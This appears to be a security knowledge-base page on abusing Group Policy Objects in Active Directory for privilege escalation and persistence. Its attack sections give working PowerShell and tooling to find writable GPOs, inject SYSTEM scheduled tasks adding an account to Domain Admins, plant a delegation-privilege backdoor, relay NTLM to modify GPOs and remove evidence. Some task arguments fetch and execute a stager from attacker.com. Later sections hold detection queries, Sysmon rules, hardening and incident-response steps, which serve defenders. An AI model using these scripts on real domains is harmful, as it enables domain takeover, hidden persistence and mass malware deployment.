| Attribute | Details |
|---|---|
| Technique ID | PE-POLICY-001 |
| MITRE ATT&CK v18.1 | T1484.001 - Group Policy Modification |
| Tactic | Privilege Escalation, Domain Policy Modification |
| Platforms | Windows AD |
| Severity | Critical |
| CVE | N/A (Design flaw, not a vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | Windows Server 2008 - 2025; All Active Directory versions supporting GPOs |
| Patched In | Not patched (architectural limitation); requires detection and operational hardening |
| Author | SERVTEP – Artur Pchelnikau |
Concept: GPO abuse for persistence and escalation is a critical privilege escalation technique that exploits misconfigured permissions on Group Policy Objects (GPOs) in Active Directory environments. An attacker with write access to a GPO can modify Group Policy settings to inject malicious scheduled tasks, scripts, registry modifications, or user rights that execute on all computers or users linked to that GPO. Unlike most privilege escalation techniques, GPO abuse requires no credentials stealing, no exploits, and no tools execution on targets—the attacker modifies centralized policy files, and Windows enforces the malicious policy domain-wide. A single compromised account with GPO edit rights (or an over-delegated group) can escalate to Domain Admin status and maintain persistent access for months or years without detection.
Attack Surface: The primary attack surfaces include:
\\domain\SYSVOL\domain\Policies\{GUID}\)Business Impact: Catastrophic domain compromise with persistent backdoor access. An attacker can: (1) add themselves to the Domain Admins group on all computers via scheduled task GPO; (2) disable security software (Windows Defender, EDR) via registry policy changes; (3) create persistent backdoors via scheduled tasks or logon scripts that execute as SYSTEM; (4) monitor all users logging into targeted systems (e.g., admin workstations) and capture credentials; (5) deploy ransomware or cryptominers at scale across the entire domain; (6) modify user rights to grant SeEnableDelegationPrivilege, enabling Kerberos delegation attacks and complete domain takeover.
Technical Context: GPO abuse can typically be executed in under 5 minutes once GPO write access is confirmed. The exploitation chain follows: Identify writable GPO → Determine linked OUs and scope → Inject malicious policy (scheduled task, script, or privilege assignment) → Wait for GPO refresh cycle (every 90 minutes by default for computers, 120 minutes for users) → Attacker gains access with the privileges of the policy context (typically SYSTEM for computer policies). Detection likelihood is medium-to-low if GPO changes are not audited, but high if Event IDs 5136/5137 (Directory Service Changes) are monitored and SYSVOL file modifications are tracked.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.3.3, 5.2.3.4 | Group Policy delegation must be restricted to minimal personnel; GPO permissions should be reviewed regularly |
| DISA STIG | V-73795, V-73797 | Group Policy modification must be restricted; unauthorized GPO changes must be audited |
| CISA SCuBA | AD-4.1 | Active Directory must enforce least-privilege access controls on all administrative objects including GPOs |
| NIST 800-53 | AC-3, AC-6, AU-2 | Access enforcement; least privilege; audit events for privileged operations |
| GDPR | Art. 32 | Security of processing - appropriate technical measures to ensure confidentiality and integrity |
| DORA | Art. 9, Art. 16 | Protection and prevention measures; incident management and reporting |
| NIS2 | Art. 21 | Cyber risk management measures including access control and audit logging |
| ISO 27001 | A.9.2.3, A.12.2.3 | Management of privileged access rights; logging and monitoring of privileged activity |
| ISO 27005 | Risk Scenario - Compromise of Authentication Authority | Unauthorized modification of centralized policy enabling domain-wide attack escalation |
Required Privileges:
Required Access:
\\domain\SYSVOL\domain\Policies\{GUID}\)Supported Versions:
Tools:
# Step 1: Load Group Policy Module
Import-Module GroupPolicy
# Step 2: List all GPOs in the domain
Get-GPO -All | Select-Object DisplayName, Id, Owner, GpoStatus
# Step 3: Identify GPOs you have edit access to
Get-GPO -All | ForEach-Object {
$gpo = $_
$perms = Get-GPPermission -Guid $gpo.Id -All
if ($perms | Where-Object {$_.Permission -like "*Edit*" -and $_.Trustee -notlike "BUILTIN\*" -and $_.Trustee -notlike "NT AUTHORITY\*"}) {
Write-Host "WRITABLE GPO: $($gpo.DisplayName) - Owner: $($gpo.Owner)"
$perms | Where-Object {$_.Permission -like "*Edit*"} | ForEach-Object {
Write-Host " Trustee: $($_.Trustee) - Permission: $($_.Permission)"
}
}
}
# Step 4: Check where GPOs are linked (to determine scope/impact)
$gpoName = "Target GPO Name"
$gpo = Get-GPO -Name $gpoName
Get-GPOReport -Guid $gpo.Id -ReportType Links -Path "C:\gpo-links.html"
# Review output to see which OUs the GPO applies to
What to Look For:
Version Note: Commands are identical across Windows Server 2008-2025. PowerShell 5.0+ required.
# Step 1: Query LDAP for all GPOs
ldapsearch -x -h DC_IP -D "CN=user,CN=Users,DC=domain,DC=com" -W \
-b "CN=Policies,CN=System,DC=domain,DC=com" \
'(objectClass=groupPolicyContainer)' displayName gPCFileSysPath
# Step 2: Parse permissions on specific GPO (requires ldapnthash or AD query)
ldeep ldap -u username -p password -s DC_IP -d domain.com gpo
# Step 3: Check if SYSVOL is accessible (not always required)
smbclient -N //domain_controller/SYSVOL
ls
# Step 4: Check GPO security filtering and WMI filters
# This requires parsing GPO XML files in SYSVOL; typically done offline
What to Look For:
Supported Versions: Windows Server 2008+ (all AD versions)
Objective: Find a GPO with write permissions that applies to domain controllers or admin workstations.
Command (PowerShell):
# Find all GPOs with write access
$gpos = Get-GPO -All | ForEach-Object {
$gpo = $_
$perms = Get-GPPermission -Guid $gpo.Id -All
$writable = $perms | Where-Object {
$_.Permission -like "*Edit*" -and `
$_.Trustee -eq $env:USERNAME -or $_.Trustee -eq "$env:USERDOMAIN\$env:USERNAME"
}
if ($writable) {
$gpo
}
}
# For each writable GPO, determine where it's linked
$gpos | ForEach-Object {
$gpo = $_
Write-Host "=== GPO: $($gpo.DisplayName) ==="
# Query linked OUs from LDAP
$ADSearcher = [adsisearcher]"(gPLink=*$($gpo.Id.ToString().Insert(0,'CN={')).Insert(37,'}')*)"
$LinkedOUs = $ADSearcher.FindAll() | ForEach-Object { $_.Path }
$LinkedOUs | ForEach-Object {
Write-Host "Linked to: $_"
# Extract OU path
$ouPath = $_ -replace "LDAP://",""
# Check if it contains sensitive objects
if ($ouPath -like "*Domain Controllers*" -or $ouPath -like "*Admin*") {
Write-Host " [+] HIGH VALUE TARGET! Contains Domain Controllers or Admin accounts"
}
}
}
Expected Output:
=== GPO: TestGPO ===
Linked to: LDAP://OU=Servers,DC=corp,DC=com
[+] HIGH VALUE TARGET! Contains Domain Controllers or Admin accounts
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-GPO -AllObjective: Prepare and compile SharpGPOAbuse tool, then inject malicious scheduled task into target GPO.
Command (Compile on Windows with Visual Studio or build tools):
# Download SharpGPOAbuse from GitHub
git clone https://github.com/FSecureLABS/SharpGPOAbuse.git
cd SharpGPOAbuse
# Build the C# project (requires Visual Studio or MSBuild)
msbuild.exe SharpGPOAbuse.sln /property:Configuration=Release
# Output: bin/Release/SharpGPOAbuse.exe
Command (Execute against target GPO):
# Create scheduled task that adds current user to Domain Admins group
$domainName = (Get-ADDomain).Name
$command = "net.exe"
$arguments = "/c net group ""Domain Admins"" attacker_user /add /domain"
.\SharpGPOAbuse.exe `
--AddComputerTask `
--GpoName "TestGPO" `
--TaskName "Windows Update Check" `
--Author "NT AUTHORITY\SYSTEM" `
--Command "$command" `
--Arguments "$arguments"
Expected Output:
[+] GPO modified successfully!
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-GPOReport and verify target computer matches filtering rulesObjective: Confirm that the scheduled task executed and attacker is now Domain Admin.
Command (Check Domain Admins membership):
# Check if your account is now in Domain Admins
$user = "$env:USERDOMAIN\$env:USERNAME"
$daGroup = Get-ADGroup -Identity "Domain Admins"
$members = Get-ADGroupMember -Identity $daGroup
if ($members | Where-Object {$_.SamAccountName -eq $env:USERNAME}) {
Write-Host "[+] SUCCESS: $user is now a member of Domain Admins!"
} else {
Write-Host "[-] FAILED: $user is not in Domain Admins yet. GPO may not have refreshed."
}
# Force GPO refresh on target computer to speed up execution
# (Note: This requires admin rights on the target; normally wait 90 minutes)
gpupdate /force
Expected Output:
[+] SUCCESS: CORP\attacker_user is now a member of Domain Admins!
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Establish persistence by granting SeEnableDelegationPrivilege to a backdoor account, enabling future Kerberos delegation attacks even if Domain Admin access is lost.
Command (Modify GPO to assign privilege):
# Grant SeEnableDelegationPrivilege to backdoor account via GPO
# This modifies \Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
$backdoorUser = "CORP\backdoor_user"
# Export the GPO to a backup
$gpoGUID = (Get-GPO -Name "TestGPO").Id
Backup-GPO -Name "TestGPO" -Path "C:\GPOBackup"
# Modify GptTmpl.inf to include SeEnableDelegationPrivilege
$gptPath = "C:\GPOBackup\{$gpoGUID}\DomainSysvol\GPO\MACHINE\Microsoft\Windows NT\SecEdit"
$gptFile = "$gptPath\GptTmpl.inf"
# Read current content
$content = Get-Content $gptFile
# Add privilege assignment
$privAssignment = @"
[Privilege Rights]
SeEnableDelegationPrivilege = $backdoorUser
"@
$content += $privAssignment
Set-Content -Path $gptFile -Value $content
# Restore GPO to domain
Restore-GPO -Path "C:\GPOBackup\{$gpoGUID}" -TargetName "TestGPO"
Write-Host "[+] SeEnableDelegationPrivilege assigned to $backdoorUser"
Expected Output:
[+] SeEnableDelegationPrivilege assigned to CORP\backdoor_user
What This Means:
OpSec & Evasion:
Supported Versions: Windows Server 2008+ (requires PowerShell 5.0+)
Objective: Load the PowerShell function that automates malicious scheduled task injection into GPO.
Command (Define function):
function New-GPOImmediateTask {
<#
.SYNOPSIS
Creates an 'Immediate' scheduled task in a GPO for one-time execution as SYSTEM.
.PARAMETER GPODisplayName
Name of the target GPO.
.PARAMETER TaskName
Name of the scheduled task to create.
.PARAMETER Command
Command to execute (default: powershell.exe).
.PARAMETER CommandArguments
Arguments to pass to the command.
.PARAMETER SysPath
Path to SYSVOL, e.g., '\\domain.com\sysvol\domain.com'.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)] [string]$GPODisplayName,
[Parameter(Mandatory=$true)] [string]$TaskName,
[string]$Command = "powershell.exe",
[Parameter(Mandatory=$true)] [string]$CommandArguments,
[string]$SysPath,
[switch]$Force
)
try {
# Import GPO module
Import-Module GroupPolicy -ErrorAction Stop
# Get target GPO
$gpo = Get-GPO -Name $GPODisplayName
Write-Host "[+] Target GPO: $($gpo.DisplayName) (GUID: $($gpo.Id))"
# Backup GPO
$backupPath = "C:\GPOBackup_$(Get-Date -Format 'yyyyMMdd_HHmmss')"
Write-Host "[+] Backing up GPO to: $backupPath"
Backup-GPO -Name $GPODisplayName -Path $backupPath | Out-Null
# Extract backup GUID
$backupGUID = (Get-ChildItem $backupPath -Directory).Name
$gptPath = "$backupPath\$backupGUID\DomainSysvol\GPO\MACHINE\Preferences\ScheduledTasks"
# Create ScheduledTasks.xml with malicious immediate task
$taskXML = @"
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B586-76A6-4ee0-8BBC-6A2E31287E6B}" name="$TaskName">
<Properties Action="Create">
<Task version="1.3">
<RegistrationInfo>
<Author>NT AUTHORITY\SYSTEM</Author>
<Description/>
<URI>\$TaskName</URI>
</RegistrationInfo>
<Triggers>
<TimeTrigger>
<Enabled>true</Enabled>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
</TimeTrigger>
</Triggers>
<Settings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
</Settings>
<Actions Context="System">
<Exec>
<Command>$Command</Command>
<Arguments>$CommandArguments</Arguments>
</Exec>
</Actions>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>
"@
# Create directory if not exist
New-Item -ItemType Directory -Path $gptPath -Force | Out-Null
# Write XML
Set-Content -Path "$gptPath\ScheduledTasks.xml" -Value $taskXML
Write-Host "[+] Malicious task XML created"
# Restore GPO (imports modified backup into domain)
Write-Host "[+] Restoring modified GPO to domain..."
Restore-GPO -Path $backupPath -TargetName $GPODisplayName -Force:$Force
Write-Host "[+] SUCCESS: Malicious immediate task injected!"
Write-Host "[+] Task will execute on next GPO refresh cycle (90 minutes for computers)"
Write-Host "[+] To speed up execution on target: gpupdate /force"
}
catch {
Write-Error "Failed to inject task: $_"
}
}
What This Means:
OpSec & Evasion:
Objective: Inject malicious scheduled task into target GPO using the New-GPOImmediateTask function.
Command:
$sysvol = "\\corp.com\sysvol\corp.com"
$taskName = "Windows Defender Update"
$command = "powershell.exe"
$arguments = "-NoP -W Hidden -C `"[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/stager.ps1')`""
New-GPOImmediateTask -GPODisplayName "TestGPO" `
-TaskName "$taskName" `
-Command "$command" `
-CommandArguments "$arguments" `
-SysPath "$sysvol" `
-Force
Expected Output:
[+] Target GPO: TestGPO (GUID: {5F400B8A-5F8D-475E-AC3A-5A1C5A7AAF0B})
[+] Backing up GPO to: C:\GPOBackup_20260109_094502
[+] Malicious task XML created
[+] Restoring modified GPO to domain...
[+] SUCCESS: Malicious immediate task injected!
[+] Task will execute on next GPO refresh cycle (90 minutes for computers)
What This Means:
OpSec & Evasion:
Objective: Remove evidence of GPO modification to evade forensic detection.
Command (Remove malicious task from GPO):
# Step 3a: Remove the malicious task from GPO
$gpo = Get-GPO -Name "TestGPO"
$gpoGUID = $gpo.Id
# Backup current state (for recovery if needed)
Backup-GPO -Name "TestGPO" -Path "C:\GPOBackup_CleanUp"
# Remove scheduled task by re-importing original backup (if available)
# Otherwise, manually edit SYSVOL file to remove task XML
$sysvol = "\\corp.com\sysvol\corp.com"
$taskXMLPath = "$sysvol\Policies\{$gpoGUID}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml"
# Read XML
[xml]$xmlContent = Get-Content $taskXMLPath
# Remove malicious immediate task
$maliciousTask = $xmlContent.ScheduledTasks.ImmediateTaskV2 | `
Where-Object {$_.name -eq "Windows Defender Update"}
if ($maliciousTask) {
$xmlContent.ScheduledTasks.RemoveChild($maliciousTask) | Out-Null
$xmlContent.Save($taskXMLPath)
Write-Host "[+] Malicious task removed from XML"
}
# Force GPO refresh to propagate cleanup
gpupdate /force
Write-Host "[+] GPO cleaned. Changes may take 90 minutes to fully revert."
Expected Output:
[+] Malicious task removed from XML
[+] GPO cleaned. Changes may take 90 minutes to fully revert.
What This Means:
Supported Versions: Windows Server 2008-2022 (vulnerable to NTLM relay attacks)
Objective: Capture NTLM authentication traffic and relay it to Active Directory to modify GPO ACLs without needing direct write permissions.
Command (Linux attack station - using gpOddity tool):
# Download gpOddity (GPO exploitation via NTLM relay)
git clone https://github.com/synacktiv/gpoddity.git
cd gpoddity
# Step 1a: Start NTLM relay listener
# This intercepts NTLM authentication and relays to DC
ntlmrelayx.py -t ldap://DC_IP --no-http-server -socks
# Step 2b: In another terminal, trigger authentication
# Common methods: Print Spooler service, LLMNR/mDNS spoofing, fake file shares
# For this example, assume we've captured NTLM from a domain user
# Step 1c: Relay NTLM to DC to modify GPO
# The relay automatically elevates permissions through LDAP
# Step 2: Use the SOCKS proxy to access the relayed DC session
python3 gpb.py gpo inject \
--domain 'corp.com' \
--dc '127.0.0.1:1080' \
--module modules_templates/ImmediateTask_create.ini \
--gpo-name 'TestGPO'
Expected Output:
[+] NTLM relay established with DC
[+] GPO "TestGPO" modified successfully via relayed authentication
[+] Immediate task injected
What This Means:
OpSec & Evasion:
Version: 1.0+ Language: C# Supported Platforms: Windows (.NET Framework 4.5+)
Download: GitHub - FSecureLABS/SharpGPOAbuse
Installation:
# Clone repository
git clone https://github.com/FSecureLABS/SharpGPOAbuse.git
cd SharpGPOAbuse
# Open SharpGPOAbuse.sln in Visual Studio
# Build → Release configuration
# Output: bin/Release/SharpGPOAbuse.exe
# Alternatively, use ILMerge to create a standalone executable
nuget install CommandLineParser -Version 1.9.3.15
msbuild SharpGPOAbuse.sln /p:Configuration=Release
ILMerge.exe /out:SharpGPOAbuse_Standalone.exe bin/Release/SharpGPOAbuse.exe bin/Release/CommandLine.dll
Usage - Add Local Admin:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "attacker_user" --GPOName "Vulnerable GPO"
Usage - Add Scheduled Task:
SharpGPOAbuse.exe --AddComputerTask --GPOName "Vulnerable GPO" --Author "NT AUTHORITY\SYSTEM" \
--TaskName "Security Update" --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://attacker.com/shell'))"
Version: 1.5.1+ Purpose: Visualize GPO abuse attack paths
Installation (Collector - SharpHound):
# Download SharpHound
wget https://github.com/BloodHoundAD/BloodHound/releases/download/v4.3.1/SharpHound.ps1
# Run collection with GPO data
powershell -exec bypass -c "Import-Module .\SharpHound.ps1; Invoke-BloodHound -CollectionMethod All"
# This generates a ZIP file with ACLs, GPO links, and container structure
Installation (Analyzer - Neo4j + BloodHound UI):
# Install Neo4j Community Edition
wget https://neo4j.com/download/neo4j-community/
# Follow setup wizard
# Install BloodHound UI
wget https://github.com/BloodHoundAD/BloodHound/releases/download/v4.3.1/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip
./BloodHound &
# Import SharpHound data into BloodHound
# Analyze "GPO abuse" paths in the UI
Version: Latest Language: Python 3 Purpose: Automated GPO enumeration and misconfiguration detection
Installation:
git clone https://github.com/synacktiv/gpoParser.git
cd gpoParser
pip3 install -r requirements.txt
Usage:
# Enumerate all GPOs from live AD
python3 gpoParser.py --domain corp.com --user attacker_user --password 'password' --dc DC_IP
# Output shows:
# - All GPOs and their permissions
# - Misconfigured ACLs
# - Privilege assignments (SeEnableDelegationPrivilege, etc.)
# - Linked OUs and scope
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 5136
| where ObjectClass == "groupPolicyContainer"
| where AttributeLDAPDisplayName in ("displayName", "gPCFileSysPath", "nTSecurityDescriptor", "versionNumber", "gPCMachineExtensionNames")
| where SubjectUserName !in ("SYSTEM", "DomainControllers", "KRBTGT")
| project
TimeGenerated,
SubjectUserName,
ObjectName,
AttributeLDAPDisplayName,
AttributeValue,
EventID,
Computer
| order by TimeGenerated desc
What This Detects:
Manual Configuration Steps (Azure Portal):
Detect Group Policy Object ModificationHigh1 minute30 minutesRule Configuration:
KQL Query:
SecurityEvent
| where EventID == 5137
| where ObjectClass == "groupPolicyContainer"
| where SubjectUserName !in ("SYSTEM", "Administrator", "Domain Admins")
| project
TimeGenerated,
SubjectUserName,
SubjectComputerName,
ObjectDN,
EventID
| order by TimeGenerated desc
What This Detects:
Event ID: 5136 (A directory service object was modified)
ObjectClass = "groupPolicyContainer" AND AttributeLDAPDisplayName IN ("nTSecurityDescriptor", "gPCFileSysPath", "versionNumber")Event ID: 5137 (A directory service object was created)
ObjectClass = "groupPolicyContainer"Event ID: 4698 (A scheduled task was created)
TaskPath = "\Microsoft\Windows\*" AND NOT TaskName IN ("DefragBootFiles", "ProactiveScan", ...) [whitelist legitimate tasks]Manual Configuration Steps (Group Policy):
CN=Policies,CN=System,DC=corp,DC=com (audit all GPO changes)gpupdate /force on all DCsMinimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016+
<!-- Sysmon Config: Detect GPO-based scheduled task execution -->
<Sysmon schemaversion="4.23">
<!-- Detect GPOE modification tool execution -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">SharpGPOAbuse</CommandLine>
<CommandLine condition="contains">New-GPOImmediateTask</CommandLine>
<CommandLine condition="contains">pyGPOAbuse</CommandLine>
</ProcessCreate>
<!-- Detect SYSVOL modification (GPO file writes) -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">\SYSVOL\</TargetFilename>
<TargetFilename condition="contains">ScheduledTasks.xml</TargetFilename>
<TargetFilename condition="contains">GptTmpl.inf</TargetFilename>
</FileCreate>
<!-- Detect Group Policy update commands -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">gpupdate</CommandLine>
<CommandLine condition="contains">gposcript</CommandLine>
<CommandLine condition="contains">Get-GPO</CommandLine>
</ProcessCreate>
<!-- Detect domain admin group membership additions -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">net group</CommandLine>
<CommandLine condition="contains">Domain Admins</CommandLine>
<CommandLine condition="contains">/add</CommandLine>
</ProcessCreate>
</Sysmon>
Manual Configuration Steps:
sysmon-gpo-config.xmlsysmon64.exe -accepteula -i sysmon-gpo-config.xml
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: “Suspicious Group Policy modification detected”
Audit All GPO Permissions Immediately: Review who has write/edit access to every GPO in your domain.
Manual Steps (PowerShell):
Get-GPO -All | ForEach-Object {
$gpo = $_
$perms = Get-GPPermission -Guid $gpo.Id -All
# Flag suspicious permissions
$suspicious = $perms | Where-Object {
$_.Permission -like "*Edit*" -and `
$_.Trustee -notlike "BUILTIN\Administrators" -and `
$_.Trustee -notlike "NT AUTHORITY\*" -and `
$_.Trustee -notlike "SYSTEM"
}
if ($suspicious) {
Write-Host "SECURITY RISK: $($gpo.DisplayName) has non-standard edit permissions:"
$suspicious | ForEach-Object { Write-Host " - $($_.Trustee): $($_.Permission)" }
}
}
# Export full report
Get-GPO -All | ForEach-Object {
Get-GPPermission -Guid $_.Id -All
} | Export-Csv -Path "C:\GPOPermissions_Audit.csv" -NoTypeInformation
Manual Steps (Azure Portal - if using Azure AD integrated AD):
Remove Write Permissions from Non-Administrative Accounts:
Manual Steps:
# Remove edit permissions from non-admin user/group
$gpo = Get-GPO -Name "HighRisk_GPO"
$principalSID = (Get-ADUser -Identity suspicious_user).SID
Remove-GPPermission -Guid $gpo.Id -TargetName suspicious_user -TargetType User -PermissionLevel Edit
Write-Host "[+] Removed edit permissions from suspicious_user on $($gpo.DisplayName)"
Implement Tiered GPO Administration: Only Domain Admins should modify critical GPOs.
Manual Steps:
GPO_EditorsGPO_Editors groupEnable AD Audit Logging (Events 5136, 5137, 5141): Monitor all GPO changes.
Manual Steps (Group Policy):
CN=Policies,CN=System,DC=... to audit all GPO changesMonitor SYSVOL for Unauthorized Writes: Implement file integrity monitoring (FIM) on SYSVOL.
Manual Steps (using Windows File Server Resource Manager):
\\DC\SYSVOL\*\Policies\*\*.ps1, .bat, .vbs, .exe, .dllManual Steps (using Splunk or ArcSight):
Require Privileged Access Workstation (PAW) for GPO Management: GPO edits should only occur from hardened admin endpoints.
Manual Steps:
Conditional Access (Azure AD): Require MFA for any user modifying GPOs.
Manual Steps (Azure Portal):
Require MFA for GPO ModificationRBAC: Use Group Policy to enforce “Creator Owner” permissions on GPOs (attackers cannot inherit permissions).
Manual Steps:
\SYSVOL\Policies\*:
# Check that only admins can edit critical GPOs
$criticalGPOs = @(
"Default Domain Policy",
"Default Domain Controllers Policy",
"Security Baselines"
)
foreach ($gpoName in $criticalGPOs) {
$gpo = Get-GPO -Name $gpoName
$perms = Get-GPPermission -Guid $gpo.Id -All
$nonAdminEditors = $perms | Where-Object {
$_.Permission -like "*Edit*" -and `
$_.Trustee -notlike "BUILTIN\Administrators" -and `
$_.Trustee -notlike "NT AUTHORITY\*" -and `
$_.Trustee -notlike "SYSTEM"
}
if ($nonAdminEditors) {
Write-Host "[!] SECURITY RISK: $gpoName has non-admin editors:"
$nonAdminEditors | ForEach-Object { Write-Host " $($_.Trustee)" }
} else {
Write-Host "[+] SECURE: $gpoName - only admins can edit"
}
}
# Verify audit logging is enabled
auditpol /get /category:*DirectoryServiceChanges*
What to Look For:
\SYSVOL\Policies\{GUID}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml (timestamp indicates modification), \SYSVOL\Policies\{GUID}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf (privilege assignment changes)HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions (tracks applied GPO extensions; suspicious extensions may indicate GPO abuse)CN=Policies,CN=System,DC=... (Event ID 5136), SYSVOL SMB writes from unexpected sourcesC:\GPOBackup_* directories; original policy files in SYSVOL; Windows event logs (Security log Event IDs 5136, 5137)Isolate:
Command (PowerShell):
# Quarantine the compromised user account
Disable-ADAccount -Identity suspicious_user
# Force password reset on all admin accounts
Get-ADGroupMember -Identity "Domain Admins" | ForEach-Object {
Set-ADAccountPassword -Identity $_.ObjectGUID -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "TempPassword123!" -Force)
}
Collect Evidence:
Command:
# Export all GPO changes in last 24 hours
Get-WinEvent -FilterHashtable @{
LogName = "Security"
ID = 5136
StartTime = (Get-Date).AddDays(-1)
} | Where-Object {$_.Message -like "*groupPolicyContainer*"} | `
Export-Csv -Path "C:\GPOChanges_Evidence.csv"
# Backup all GPOs for forensic analysis
Get-GPO -All | ForEach-Object {
Backup-GPO -Name $_.DisplayName -Path "C:\GPOForensics\$($_.DisplayName)"
}
Remediate:
Command:
# Restore GPO from clean backup
Restore-GPO -Path "C:\GPOBackup\{GUID_OF_CLEAN_GPO}" -TargetName "CompromisedGPO" -Force
# Reset GPO to default settings
Remove-GPO -Name "CompromisedGPO"
New-GPO -Name "CompromisedGPO" | New-GPLink -Target "OU=target,DC=corp,DC=com"
# Force immediate GPO refresh on all computers
gpupdate /force /target:computer
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device code phishing attacks | Attacker gains initial foothold via compromised account |
| 2 | Credential Access | [CA-KERB-001] Kerberoasting / [CA-DUMP-002] DCSync | Attacker extracts credentials to elevate privileges |
| 3 | Privilege Escalation | [PE-POLICY-001] GPO Abuse for Persistence escalation | Attacker modifies GPO to escalate to Domain Admin |
| 4 | Persistence | [PE-POLICY-002] Creating Rogue GPOs | Attacker creates hidden GPO for persistent backdoor |
| 5 | Impact | Ransomware deployment via GPO / Data exfiltration | Attacker deploys malware or exfiltrates sensitive data |
GPO abuse is one of the most effective, difficult-to-detect, and highest-impact privilege escalation techniques in Active Directory. Organizations must immediately:
Failure to address GPO permission misconfiguration allows attackers to escalate from a single compromised user account to complete domain dominance in under 5 minutes.